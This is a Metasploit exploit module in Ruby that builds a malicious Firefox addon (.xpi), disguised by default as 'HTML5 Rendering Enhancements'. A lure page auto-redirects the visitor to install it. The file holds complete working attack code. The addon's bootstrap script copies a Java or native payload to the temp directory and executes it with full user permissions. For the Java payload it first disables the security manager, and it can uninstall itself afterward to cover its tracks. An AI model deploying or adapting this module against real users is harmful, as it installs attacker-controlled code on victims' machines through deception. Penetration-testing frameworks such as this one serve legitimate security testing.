##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   https://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize( info = {} )
    super( update_info( info,
      'Name'          => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
      'Description'   => %q{
          This exploit dynamically creates a .xpi addon file.
        The resulting bootstrapped Firefox addon is presented to
        the victim via a web page with.  The victim's Firefox browser
        will pop a dialog asking if they trust the addon.

        Once the user clicks "install", the addon is installed and
        executes the payload with full user permissions. As of Firefox
        4, this will work without a restart as the addon is marked to
        be "bootstrapped". As the addon will execute the payload after
        each Firefox restart, an option can be given to automatically
        uninstall the addon once the payload has been executed.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'mihi' ],
      'References'    =>
        [
          [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
          [ 'URL', 'https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
        ],
      'DisclosureDate' => 'Jun 27 2007',
      'Platform'      => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
      'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' => ['java'],
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Mac OS X PPC (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
            }
          ],
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ]
        ],
      'DefaultTarget'  => 1
    ))

    register_options( [
      OptString.new('ADDONNAME', [ true,
        "The addon name.",
        "HTML5 Rendering Enhancements"
        ]),
      OptBool.new('AutoUninstall', [ true,
        "Automatically uninstall the addon after payload execution",
        true
        ])
    ], self.class)
  end

  def on_request_uri( cli, request )
    msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"

    if not request.uri.match(/\.xpi$/i)
      if not request.uri.match(/\/$/)
        send_redirect( cli, get_resource() + '/', '')
        return
      end

      print_status("#{msg} Handling request..." )

      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
      return
    end

    p = regenerate_payload(cli)
    if not p
      print_error("#{msg} Failed to generate the payload.")
      # Send them a 404 so the browser doesn't hang waiting for data
      # that will never come.
      send_not_found(cli)
      return
    end

    # If we haven't returned yet, then this is a request for our xpi,
    # so build one

    if target.name == 'Generic (Java Payload)'
      jar = p.encoded_jar
      jar.build_manifest(:main_class => "metasploit.Payload")
      payload_file = jar.pack
      payload_name='payload.jar'
      payload_script=%q|
  var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
  java.lang.System.setSecurityManager(null);
  var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
  var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
  m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
      |
    else
      payload_file = generate_payload_exe
      payload_name='payload.exe'
      payload_script=%q|
  var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
  process.init(tmp);
  process.run(false,[],0);
      |
    end

    zip = Rex::Zip::Archive.new
    xpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize!

    bootstrap_script = %q|
function startup(data, reason) {
  var file = Components.classes["@mozilla.org/file/directory_service;1"].
          getService(Components.interfaces.nsIProperties).
          get("ProfD", Components.interfaces.nsIFile);
  file.append("extensions");
    |
    bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
    bootstrap_script << %Q|payload_name="#{payload_name}";|
    bootstrap_script << %q|
  file.append(xpi_guid);
  file.append(payload_name);
  var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
          getService(Components.interfaces.nsIProperties).
          get("TmpD", Components.interfaces.nsIFile);
  tmp.append(payload_name);
  tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
  file.copyTo(tmp.parent, tmp.leafName);
    |
    bootstrap_script << payload_script

    if (datastore['AutoUninstall'])
      bootstrap_script <<  %q|
  try { // Fx < 4.0
    Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
  } catch (e) {}
  try { // Fx 4.0 and later
    Components.utils.import("resource://gre/modules/AddonManager.jsm");
    AddonManager.getAddonByID(xpi_guid, function(addon) {
      addon.uninstall();
    });
  } catch (e) {}
      |
    end

    bootstrap_script << "}"

    zip.add_file('bootstrap.js', bootstrap_script)
    zip.add_file(payload_name, payload_file)
    zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
    zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
<RDF xmlns="https://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="https://www.mozilla.org/2004/em-rdf#">
  <Description about="urn:mozilla:install-manifest">
    <em:id>#{xpi_guid}</em:id>
    <em:name>#{datastore['ADDONNAME']}</em:name>
    <em:version>1.0</em:version>
    <em:bootstrap>true</em:bootstrap>
    <em:unpack>true</em:unpack>
    <em:targetApplication>
      <Description>
        <em:id>toolkit@mozilla.org</em:id>
        <em:minVersion>1.0</em:minVersion>
        <em:maxVersion>*</em:maxVersion>
      </Description>
    </em:targetApplication>
    <em:targetApplication>
      <Description>
        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
        <em:minVersion>1.0</em:minVersion>
        <em:maxVersion>*</em:maxVersion>
      </Description>
    </em:targetApplication>
    </Description>
</RDF>|)
zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
<overlay xmlns="https://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
  <script src="bootstrap.js"/>
  <script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
</overlay>|)

    print_status("#{msg} Sending xpi and waiting for user to click 'accept'...")
    send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
    handler( cli )
  end

  def generate_html
    html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
    html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
    html << %Q|<script>window.location.href="addon.xpi";</script>\n|
    html << %Q|</body></html>|
    return html
  end
end